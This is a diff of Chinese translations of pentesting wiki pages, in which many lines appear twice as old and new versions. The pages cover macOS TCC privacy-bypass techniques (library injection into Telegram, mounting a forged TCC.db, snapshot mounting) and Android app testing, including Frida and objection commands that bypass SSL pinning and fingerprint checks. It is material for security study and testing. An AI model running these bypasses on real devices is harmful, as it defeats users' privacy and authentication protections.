### CVE-2023-26818 - Telegram
Telegram具有权限**`com.apple.security.cs.allow-dyld-environment-variables`**和**`com.apple.security.cs.disable-library-validation`**,因此可以滥用它以**获取其权限**,例如使用相机录制。您可以[**在写作中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
Telegram具有权限**`com.apple.security.cs.allow-dyld-environment-variables`**和**`com.apple.security.cs.disable-library-validation`**,因此可以滥用它以**获取其权限**,例如使用相机录制。您可以[**在报告中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
注意如何使用env变量加载库,**创建了一个自定义plist**来注入此库,并使用**`launchctl`**来启动它:
注意如何使用环境变量加载库,**创建了一个自定义plist**来注入此库,并使用**`launchctl`**来启动它:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -362,11 +379,11 @@ launchctl load com.telegram.launcher.plist
```
## 通过开放调用
即使在沙盒中也可以调用 **`open`**
即使在沙盒中也可以调用 **`open`**
### 终端脚本
在技术人员使用的计算机上,通常会终端 **完全磁盘访问 (FDA)**。并且可以使用它调用 **`.terminal`** 脚本。
给终端 **完全磁盘访问 (FDA)** 是很常见的,至少在技术人员使用的计算机上。并且可以使用它调用 **`.terminal`** 脚本。
**`.terminal`** 脚本是 plist 文件,例如这个文件,其中包含在 **`CommandString`** 键中执行的命令:
```xml
@ -386,7 +403,7 @@ launchctl load com.telegram.launcher.plist
</dict>
</plist>
```
一个应用程序可以在 /tmp 等位置写入一个终端脚本,并使用如下命令启动它:
一个应用程序可以在诸如 /tmp 的位置写入一个终端脚本,并使用如下命令启动它:
```objectivec
// Write plist in /tmp/tcc.terminal
[...]
@ -401,7 +418,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - mount_apfs TCC 绕过和权限提升
**任何用户**(甚至是无特权用户)都可以创建并挂载时间机器快照并**访问该快照的所有文件**。\
**任何用户**(甚至是无特权用户)都可以创建并挂载时间机器快照并**访问该快照的所有文件**。\
所需的**唯一特权**是用于访问的应用程序(如 `Terminal`)需要具有**完全磁盘访问**FDA权限`kTCCServiceSystemPolicyAllfiles`),该权限需要由管理员授予。
```bash
# Create snapshot
@ -422,11 +439,11 @@ mkdir /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
更详细的说明可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
### CVE-2021-1784 & CVE-2021-30808 - 在 TCC 文件上挂载
### CVE-2021-1784 & CVE-2021-30808 - 挂载 TCC 文件
即使 TCC 数据库文件受到保护,仍然可以**在目录上挂载**一个新的 TCC.db 文件:
即使 TCC 数据库文件受到保护,仍然可以**挂载一个新的 TCC.db 文件到该目录**
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
@ -447,24 +464,24 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
检查**完整利用**在[**原始写作**](https://theevilbit.github.io/posts/cve-2021-30808/)
检查完整的 **exploit** 在 [**original writeup**](https://theevilbit.github.io/posts/cve-2021-30808/)。
### CVE-2024-40855
正如在[原始写作](https://www.kandji.io/blog/macos-audit-story-part2)中解释的这个CVE利用了`diskarbitrationd`
如 [original writeup](https://www.kandji.io/blog/macos-audit-story-part2) 中所述,此 CVE 利用了 `diskarbitrationd`
公共`DiskArbitration`框架中的函数`DADiskMountWithArgumentsCommon`执行了安全检查。然而,可以通过直接调用`diskarbitrationd`来绕过它,因此可以在路径中使用`../`元素和符号链接。
公共 `DiskArbitration` 框架中的函数 `DADiskMountWithArgumentsCommon` 执行了安全检查。然而,可以通过直接调用 `diskarbitrationd` 来绕过它,因此可以在路径中使用 `../` 元素和符号链接。
这使得攻击者能够在任何位置进行任意挂载,包括由于`diskarbitrationd`的权限`com.apple.private.security.storage-exempt.heritable`而覆盖TCC数据库。
这使得攻击者能够在任何位置进行任意挂载,包括由于 `diskarbitrationd` 的权限 `com.apple.private.security.storage-exempt.heritable` 而覆盖 TCC 数据库。
### asr
工具**`/usr/sbin/asr`**允许复制整个磁盘并将其挂载到另一个位置从而绕过TCC保护。
工具 **`/usr/sbin/asr`** 允许复制整个磁盘并将其挂载到另一个位置,从而绕过 TCC 保护。
### 位置服务
在**`/var/db/locationd/clients.plist`**中有第三个TCC数据库用于指示允许**访问位置服务**的客户端。\
文件夹**`/var/db/locationd/`没有受到DMG挂载的保护**因此可以挂载我们自己的plist。
**`/var/db/locationd/clients.plist`** 中有一个第三个 TCC 数据库,用于指示允许 **访问位置服务** 的客户端。\
文件夹 **`/var/db/locationd/` 没有受到 DMG 挂载的保护**,因此可以挂载我们自己的 plist。
## 通过启动应用
@ -472,19 +489,19 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
../../../../macos-auto-start-locations.md
{{#endref}}
## 通过grep
## 通过 grep
在多个场合文件会在未受保护的位置存储敏感信息如电子邮件、电话号码、消息等这被视为Apple的一个漏洞
在多个场合,文件会在未受保护的位置存储敏感信息,如电子邮件、电话号码、消息等...(这被视为 Apple 的一个漏洞)。
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
## 合成点击
这不再有效,但它[**在过去有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
这不再有效,但它 [**在过去有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
另一种使用[**CoreGraphics事件**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf)的方法:
另一种使用 [**CoreGraphics 事件**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) 的方法:
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>

View File

@ -1,32 +1,32 @@
# Android 应用程序渗透测试
# Android Applications Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Android 应用程序基础
## Android Applications Basics
强烈建议您开始阅读此页面,以了解与 Android 安全性相关的 **最重要部分和 Android 应用程序中最危险的组件**
强烈建议您首先阅读此页面以了解与Android安全性相关的**最重要部分和Android应用程序中最危险的组件**
{{#ref}}
android-applications-basics.md
{{#endref}}
## ADB (Android 调试桥)
## ADB (Android Debug Bridge)
这是您连接到 Android 设备(模拟或物理)所需的主要工具。\
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使 **文件** 双向 **复制**、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
这是您连接到Android设备模拟或物理的主要工具。\
**ADB** 允许从计算机通过 **USB****网络** 控制设备。此工具使得**双向复制**文件、**安装**和**卸载**应用程序、**执行**shell命令、**备份**数据、**读取**日志等功能成为可能。
查看以下 [**ADB 命令**](adb-commands.md) 列表,以了解如何使用 adb。
查看以下[**ADB命令**](adb-commands.md)列表以了解如何使用adb。
## Smali
有时修改 **应用程序代码** 以访问 **隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。\
[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析** 中作为 **多项测试的替代方案** 将非常有用。然后,**始终记住这个可能性**。
有时修改**应用程序代码**以访问**隐藏信息**可能是经过良好混淆的密码或标志是很有趣的。然后反编译apk、修改代码并重新编译可能会很有趣。\
[**在本教程中**,您可以**学习如何反编译APK、修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析期间的几项测试中可能非常有用**。因此,**始终记住这种可能性**。
## 其他有趣的技巧
## Other interesting tricks
- [ Play 商店中伪装您的位置](spoofing-your-location-in-play-store.md)
- **下载 APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- 从设备提取 APK:
- [Play Store中伪装您的位置](spoofing-your-location-in-play-store.md)
- **下载APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- 从设备提取APK:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -47,12 +47,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## 静态分析
首先,分析 APK,您应该**查看 Java 代码**,使用反编译器。\
首先,对于分析 APK您应该**查看 Java 代码**,使用反编译器。\
请[**在这里阅读有关不同可用反编译器的信息**](apk-decompilers.md)。
### 寻找有趣的信息
通过查看 APK 的**字符串**,您可以搜索**密码**、**URL**[https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
仅查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
**Firebase**
@ -64,9 +64,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
**Manifest.xml** 中识别的**漏洞**包括:
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试`debuggable="true"`的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
- **网络安全**_res/xml/_ 中的自定义网络安全配置`android:networkSecurityConfig="@xml/network_security_config"`可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
- **网络安全**_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
- **导出活动和服务**:在清单中识别导出的活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应受到审查。
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
@ -76,10 +76,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Tapjacking
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**位于受害者应用程序之上**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
在这里找到更多信息:
获取更多信息:
{{#ref}}
tapjacking.md
@ -87,9 +87,9 @@ tapjacking.md
### 任务劫持
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且没有定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,可以安装一个**应用程序**,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
一个**活动**的**`launchMode`** 设置为**`singleTask`**且未定义任何 `taskAffinity` 是易受任务劫持的。这意味着,可以安装一个**应用程序**,如果在真实应用程序之前启动,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
更多信息
更多信息:
{{#ref}}
android-task-hijacking.md
@ -99,12 +99,12 @@ android-task-hijacking.md
**内部存储**
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统强制执行,通常足以满足大多数应用程序的安全需求。然而,开发者有时会利`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**,通常足以满足大多数应用程序的安全需求。然而,开发人员有时会使`MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。
1. **静态分析:**
- **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**
2. **动态分析:**
- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
- **验证**应用程序创建的文件上设置的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。
**外部存储**
@ -123,23 +123,23 @@ android-task-hijacking.md
外部存储可以在 `/storage/emulated/0``/sdcard``/mnt/sdcard` 中访问。
> [!NOTE]
> 从 Android 4.4**API 17**开始SD 卡具有一个目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对其他应用程序文件的读写访问。
> 从 Android 4.4**API 17**开始SD 卡具有一个目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对另一个应用程序文件的读写访问。
**以明文存储的敏感数据**
- **共享首选项**Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/shared_prefs/` 中保存 xml 文件,有时可以在该文件夹中找到明文的敏感信息。
- **数据库**Android 允许每个应用程序轻松地在路径 `/data/data/<packagename>/databases/` 中保存 sqlite 数据库,有时可以在该文件夹中找到明文的敏感信息。
### 破损的 TLS
### 不安全的 TLS
**接受所有证书**
出于某种原因,有时开发会接受所有证书,即使例如主机名与以下代码行不匹配:
出于某种原因,有时开发人员会接受所有证书,即使例如主机名与以下代码行不匹配:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
一个好的测试方法是尝试使用一些代理(如 Burp捕获流量而不在设备中授权 Burp CA。此外您还可以使用 Burp 为不同的主机名生成证书并使用它。
测试此项的一个好方法是尝试使用一些代理(如 Burp捕获流量而不在设备中授权 Burp CA。此外您还可以使用 Burp 为不同的主机名生成证书并使用它。
### 破损的加密
@ -149,7 +149,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
**使用不安全和/或过时的算法**
开发人员不应使用 **过时的算法** 来执行授权 **检查**、**存储** 或 **发送** 数据。这些算法包括RC4、MD4、MD5、SHA1……如果 **哈希** 用于存储密码,例如,应该使用带盐的抗暴力破解 **哈希**
开发人员不应使用 **过时的算法** 来执行授权 **检查**、**存储** 或 **发送** 数据。这些算法包括RC4、MD4、MD5、SHA1……如果 **哈希** 用于存储密码,例如,应该使用**暴力破解** 的哈希并加盐
### 其他检查
@ -177,7 +177,7 @@ react-native-application.md
### 超级打包应用程序
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) 超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压这些应用程序的应用的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统收集解压缩的文件。**
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用程序的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统收集解压缩的文件。**
### 自动化静态代码分析
@ -187,7 +187,7 @@ react-native-application.md
### 泄露的秘密
一个应用程序可能包含秘密API 密钥、密码、隐藏的 URL、子域名……在其中,您可能能够发现。您可以使用工具,例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
应用程序可能包含秘密API 密钥、密码、隐藏的 URL、子域名……您可能能够发现。您可以使用工具例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### 绕过生物识别认证
@ -230,14 +230,14 @@ content-protocol.md
#### 使用模拟器
- [**Android Studio**](https://developer.android.com/studio)(您可以创建 **x86****arm** 设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本 **支持 ARM 库**,无需使用慢速的 arm 模拟器)。
- 在此页面学习如何设置:
- [**Android Studio**](https://developer.android.com/studio)(您可以创建 **x86****arm** 设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **最新的 x86** 版本 **支持 ARM 库**,无需慢速的 arm 模拟器)。
- 学习如何在此页面上设置:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版**个人版您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本以避免潜在错误。_)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本以避免潜在错误。_)
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer
> [!NOTE]
@ -247,7 +247,7 @@ avd-android-virtual-device.md
![](<../../images/image (277).png>)
此外,请注意在 **Genymotion 中的 Android VM 配置**中,您可以选择 **桥接网络模式**(如果您将从不同的 VM 连接到 Android VM 使用工具,这将非常有用)。
此外,请注意在 **Genymotion 中的 Android VM 配置** 中,您可以选择 **桥接网络模式**(如果您将从不同的 VM 连接到 Android VM 使用工具,这将非常有用)。
#### 使用物理设备
@ -260,7 +260,7 @@ avd-android-virtual-device.md
5. 返回,您将找到 **开发者选项**
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并熟悉它。\
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以 **了解应用程序的工作原理**,同时 MobSF **捕获** 许多您可以稍后查看的 **有趣** **数据**。
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获** 大量 **有趣的** **数据** 供您稍后查看的同时 **了解应用程序的工作原理**。
### 意外数据泄露
@ -278,27 +278,27 @@ Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴
**崩溃日志**
如果应用程序 **崩溃****保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低这种风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
如果应用程序 **崩溃****保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
作为渗透测试者,**请尝试查看这些日志**。
**发送给第三方的分析数据**
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实施,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
应用程序通常集成 Google Adsense 等服务,这可能由于开发人员的不当实施而 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。
### SQLite 数据库
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,请 **查看** 创建的 **数据库**、**表** 和 **列** 的名称以及所有保存的 **数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,请 **查看** 创建的 **数据库**、**表** 和 **列** 的名称以及所有 **保存的数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\
数据库应位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases`
如果数据库保存机密信息并且**加密的**但您可以在应用程序中 **找到** **密码**,这仍然是一个 **漏洞**
如果数据库保存机密信息并且 **加密** 但您可以在应用程序中 **找到** **密码**,这仍然是一个 **漏洞**
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
### Drozer利用活动、内容提供者和服务
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer** 允许您 **假设 Android 应用程序的角色** 并与其他应用程序交互。它可以做 **任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信IPC机制并与底层操作系统交互。\
Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和内容提供者**正如您将在以下部分中学习的那样
Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和内容提供者**,您将在以下部分中学习。
### 利用导出活动
@ -307,9 +307,9 @@ Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和
**授权绕过**
一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含 **敏感信息** 的活动被 **导出**,您可能会 **绕过** **认证** 机制 **以访问它**
当活动被导出时,您可以从外部应用程序调用其界面。因此,如果导出一个包含 **敏感信息** 的活动,您可能会 **绕过** **身份验证** 机制 **以访问它**
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/#activities)
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
您还可以从 adb 启动导出活动:
@ -325,39 +325,39 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**敏感信息泄露**
**活动也可以返回结果**。如果设法找到一个导出且未保护的活动调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。
**活动也可以返回结果**。如果设法找到一个导出且未保护的活动调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。
#### Tapjacking
如果未防止 tapjacking可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](./#tapjacking)。
如果未防止 tapjacking可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](#tapjacking)。
### 利用内容提供者 - 访问和操纵敏感信息
[**如果想刷新内容提供者的概念,请阅读此内容。**](android-applications-basics.md#content-provider)\
内容提供者基本上用于 **共享数据**。如果一个应用程序有可用的内容提供者,可能能够 **提取敏感** 数据。测试可能的 **SQL 注入****路径遍历** 也很有趣,因为它们可能存在漏洞。
[**如果想刷新内容提供者的概念,请阅读此内容。**](android-applications-basics.md#content-provider)\
内容提供者基本上用于 **共享数据**。如果一个应用程序有可用的内容提供者,可能能够 **提取敏感** 数据。测试可能的 **SQL 注入****路径遍历** 也很有趣,因为它们可能存在漏洞。
[**了解如何使用 Drozer 利用内容提供者。**](drozer-tutorial/#content-providers)
[**学习如何使用 Drozer 利用内容提供者。**](drozer-tutorial/index.html#content-providers)
### **利用服务**
[**如果想刷新服务的概念,请阅读此内容。**](android-applications-basics.md#services)\
请记住,服务的操作始于 `onStartCommand` 方法
[**如果想刷新服务的概念,请阅读此内容。**](android-applications-basics.md#services)\
请记住,服务的操作始于方法 `onStartCommand`
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,应该 **检查****代码** 以了解其功能,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
[**了解如何使用 Drozer 利用服务。**](drozer-tutorial/#services)
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,应该 **检查****代码** 以了解其功能,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
[**学习如何使用 Drozer 利用服务。**](drozer-tutorial/index.html#services)
### **利用广播接收器**
[**如果想刷新广播接收器的概念,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
请记住,广播接收器的操作始于 `onReceive` 方法
[**如果想刷新广播接收器的概念,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
请记住,广播接收器的操作始于方法 `onReceive`
广播接收器将等待某种类型的消息。根据接收器如何处理消息,它可能会存在漏洞。\
[**了解如何使用 Drozer 利用广播接收器。**](./#exploiting-broadcast-receivers)
[**学习如何使用 Drozer 利用广播接收器。**](#exploiting-broadcast-receivers)
### **利用方案 / 深度链接**
可以手动查找深度链接,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\
可以使用 **adb****浏览器** **打开** 声明的 **方案**:
可以手动查找深度链接,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 的脚本。\
可以使用 **adb****浏览器** **打开** 声明的 **方案**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -390,7 +390,7 @@ _请注意您可以**省略包名**,手机将自动调用应该打开该链
### 传输层检查和验证失败
- **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。
- **SSL/TLS 握手期间的协商有时弱**使用不安全的密码套件。此漏洞使连接容易受到中间人MITM攻击允许攻击者解密数据。
- **SSL/TLS 握手期间的协商有时弱**使用不安全的密码套件。此漏洞使连接容易受到中间人MITM攻击允许攻击者解密数据。
- **私密信息泄露**是一个风险,当应用程序通过安全通道进行身份验证,但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据,例如会话 cookie 或用户详细信息,免受恶意实体的拦截。
#### 证书验证
@ -411,7 +411,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
当实施 SSL 钉扎时,绕过它成为检查 HTTPS 流量的必要条件。为此有多种方法可用:
- 自动**修改** **apk**以**绕过** SSLPinning使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
- 自动**修改** **apk**以**绕过** SSLPinning使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
- 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
@ -435,7 +435,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
### **内存转储 - Fridump**
检查应用程序是否在内存中存储不应存储的敏感信息,如密码或助记符。
检查应用程序是否在内存中存储不应存储的敏感信息,如密码或助记符。
使用[**Fridump3**](https://github.com/rootbsd/fridump3),您可以转储应用程序的内存:
```bash
@ -462,48 +462,48 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **指纹/生物识别绕过**
使用以下 Frida 脚本,可以 **绕过指纹认证**Android 应用可能会执行此操作以 **保护某些敏感区域:**
使用以下 Frida 脚本,可能可**绕过指纹认证**Android 应用程序可能会执行此操作以 **保护某些敏感区域:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **背景图像**
当您将应用程序置于后台时Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序之前开始加载图像,这样看起来应用程序加载得更快。
当您将应用程序置于后台时Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序加载之前开始加载图像,这样看起来应用程序加载得更快。
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
快照通常存储在:**`/data/system_ce/0/snapshots`**
快照通常存储在: **`/data/system_ce/0/snapshots`**
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。
```bash
